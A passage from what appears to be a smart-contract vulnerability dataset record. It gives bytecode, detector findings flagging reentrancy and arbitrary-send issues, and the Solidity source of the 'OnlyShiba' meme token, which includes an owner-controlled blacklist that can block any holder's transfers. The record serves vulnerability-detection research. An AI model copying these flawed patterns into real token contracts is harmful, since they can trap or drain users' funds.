6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610cd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610dfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610e5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b6000546001600160a01b03848116911614801590610e8957506000546001600160a01b03838116911614155b156110ea57601054600160b81b900460ff1615610f70576001600160a01b0383163014801590610ec257506001600160a01b0382163014155b8015610edc5750600f546001600160a01b03848116911614155b8015610ef65750600f546001600160a01b03838116911614155b15610f7057600f546001600160a01b0316336001600160a01b03161480610f3057506010546001600160a01b0316336001600160a01b0316145b610f705760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161047a565b601154811115610f7f57600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610fc157506001600160a01b0382166000908152600b602052604090205460ff16155b610fca57600080fd5b6010546001600160a01b038481169116148015610ff55750600f546001600160a01b03838116911614155b801561101a57506001600160a01b03821660009081526005602052604090205460ff16155b801561102f5750601054600160b81b900460ff165b1561107d576001600160a01b0382166000908152600c6020526040902054421161105857600080fd5b611063426078611c28565b6001600160a01b0383166000908152600c60205260409020555b600061108830610896565b601054909150600160a81b900460ff161580156110b357506010546001600160a01b03858116911614155b80156110c85750601054600160b01b900460ff165b156110e8576110d68161128a565b4780156110e6576110e647611181565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b15611135575060005b611141848484846114f0565b50505050565b6000818484111561116b5760405162461bcd60e51b815260040161047a9190611b30565b5060006111788486611c7f565b95945050505050565b600d546001600160a01b03166108fc61119b8360026114ae565b6040518115909202916000818181858888f193505050501580156111c3573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6111de8360026114ae565b6040518115909202916000818181858888f1935050505015801561081d573d6000803e3d6000fd5b600060075482111561126d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047a565b600061127761151c565b905061128383826114ae565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133457600080fd5b505afa158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190611900565b8160018151811061138d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546113b39130911684610c11565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ec908590600090869030904290600401611bb8565b600060405180830381600087803b15801561140657600080fd5b505af115801561141a573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261143e575060006103e1565b600061144a8385611c60565b9050826114578583611c40565b146112835760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b600061128383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153f565b806114fd576114fd61156d565b611508848484611590565b806111415761114160026009556004600a55565b6000806000611529611687565b909250905061153882826114ae565b9250505090565b600081836115605760405162461bcd60e51b815260040161047a9190611b30565b5060006111788486611c40565b60095415801561157d5750600a54155b1561158457565b60006009819055600a55565b6000806000806000806115a2876116c9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115d49087611726565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116039086611768565b6001600160a01b038916600090815260026020526040902055611625816117c7565b61162f8483611811565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167491815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006116a382826114ae565b8210156116c05750506007549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006116e68a600954600a54611835565b92509250925060006116f661151c565b905060008060006117098e878787611884565b919e509c509a509598509396509194505050505091939550919395565b600061128383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611147565b6000806117758385611c28565b9050838110156112835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b60006117d161151c565b905060006117df838361142f565b306000908152600260205260409020549091506117fc9082611768565b30600090815260026020526040902055505050565b60075461181e9083611726565b60075560085461182e9082611768565b6008555050565b60008080806118496064610bd0898961142f565b9050600061185c6064610bd08a8961142f565b905060006118748261186e8b86611726565b90611726565b9992985090965090945050505050565b6000808080611893888661142f565b905060006118a1888761142f565b905060006118af888861142f565b905060006118c18261186e8686611726565b939b939a50919850919650505050505050565b80356118df81611cdd565b919050565b6000602082840312156118f5578081fd5b813561128381611cdd565b600060208284031215611911578081fd5b815161128381611cdd565b6000806040838503121561192e578081fd5b823561193981611cdd565b9150602083013561194981611cdd565b809150509250929050565b600080600060608486031215611968578081fd5b833561197381611cdd565b9250602084013561198381611cdd565b929592945050506040919091013590565b600080604083850312156119a6578182fd5b82356119b181611cdd565b9150602083013561194981611cf2565b600080604083850312156119d3578182fd5b82356119de81611cdd565b946020939093013593505050565b600060208083850312156119fe578182fd5b823567ffffffffffffffff80821115611a15578384fd5b818501915085601f830112611a28578384fd5b813581811115611a3a57611a3a611cc7565b8060051b604051601f19603f83011681018181108582111715611a5f57611a5f611cc7565b604052828152858101935084860182860187018a1015611a7d578788fd5b8795505b83861015611aa657611a92816118d4565b855260019590950194938601938601611a81565b5098975050505050505050565b600060208284031215611ac4578081fd5b813561128381611cf2565b600060208284031215611ae0578081fd5b815161128381611cf2565b600060208284031215611afc578081fd5b5035919050565b600080600060608486031215611b17578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611b5c57858101830151858201604001528201611b40565b81811115611b6d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c075784516001600160a01b031683529383019391830191600101611be2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c3b57611c3b611cb1565b500190565b600082611c5b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c7a57611c7a611cb1565b500290565b600082821015611c9157611c91611cb1565b500390565b6000600019821415611caa57611caa611cb1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089357600080fd5b801515811461089357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cd1923bda30ef9363ddb528a3e16adad1406e2da37ae9df7964e37d1a8fc458d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,638 |
0xFA8468397E270910Ecd8A5F9cc7836f4eb1Cbeaa
|
/**
*Submitted for verification at Etherscan.io on 2021-07-24
*/
/*
The Only Shiba , The Real NFT Game of Shiba Memes
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OnlyShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Only Shiba Token_T.me/OnlyShibaToken";
string private constant _symbol = "OnlyShiba";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 8;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612965565b610441565b6040516101789190612e43565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613000565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612912565b610470565b6040516101e09190612e43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612878565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190613075565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612878565b610766565b6040516102b19190613000565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d75565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612965565b610970565b60405161035b9190612e43565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129a5565b61098e565b005b34801561039957600080fd5b506103a2610ab8565b005b3480156103b057600080fd5b506103b9610b32565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a48565b61108f565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128d2565b6111d8565b6040516104189190613000565b60405180910390f35b606060405180606001604052806024815260200161377c60249139905090565b600061045561044e61125f565b8484611267565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611432565b61053e8461048961125f565b610539856040518060600160405280602881526020016137a060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef61125f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf19092919063ffffffff16565b611267565b600190509392505050565b61055161125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f40565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f40565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073561125f565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c55565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d50565b9050919050565b6107bf61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4f6e6c7953686962610000000000000000000000000000000000000000000000815250905090565b600061098461097d61125f565b8484611432565b6001905092915050565b61099661125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f40565b60405180910390fd5b60005b8151811015610ab4576001600a6000848481518110610a4857610a476133bd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aac90613316565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af961125f565b73ffffffffffffffffffffffffffffffffffffffff1614610b1957600080fd5b6000610b2430610766565b9050610b2f81611dbe565b50565b610b3a61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612f40565b60405180910390fd5b600f60149054906101000a900460ff1615610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612fc0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611267565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ced57600080fd5b505afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2591906128a5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8757600080fd5b505afa158015610d9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbf91906128a5565b6040518363ffffffff1660e01b8152600401610ddc929190612d90565b602060405180830381600087803b158015610df657600080fd5b505af1158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e91906128a5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb730610766565b600080610ec261090a565b426040518863ffffffff1660e01b8152600401610ee496959493929190612de2565b6060604051808303818588803b158015610efd57600080fd5b505af1158015610f11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f369190612a75565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611039929190612db9565b602060405180830381600087803b15801561105357600080fd5b505af1158015611067573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108b9190612a1b565b5050565b61109761125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90612f40565b60405180910390fd5b60008111611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f00565b60405180910390fd5b611196606461118883683635c9adc5dea0000061204690919063ffffffff16565b6120c190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111cd9190613000565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ce90612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612ec0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114259190613000565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149990612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990612e80565b60405180910390fd5b60008111611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f60565b60405180910390fd5b61155d61090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115cb575061159b61090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2e57600f60179054906101000a900460ff16156117fe573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fd57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16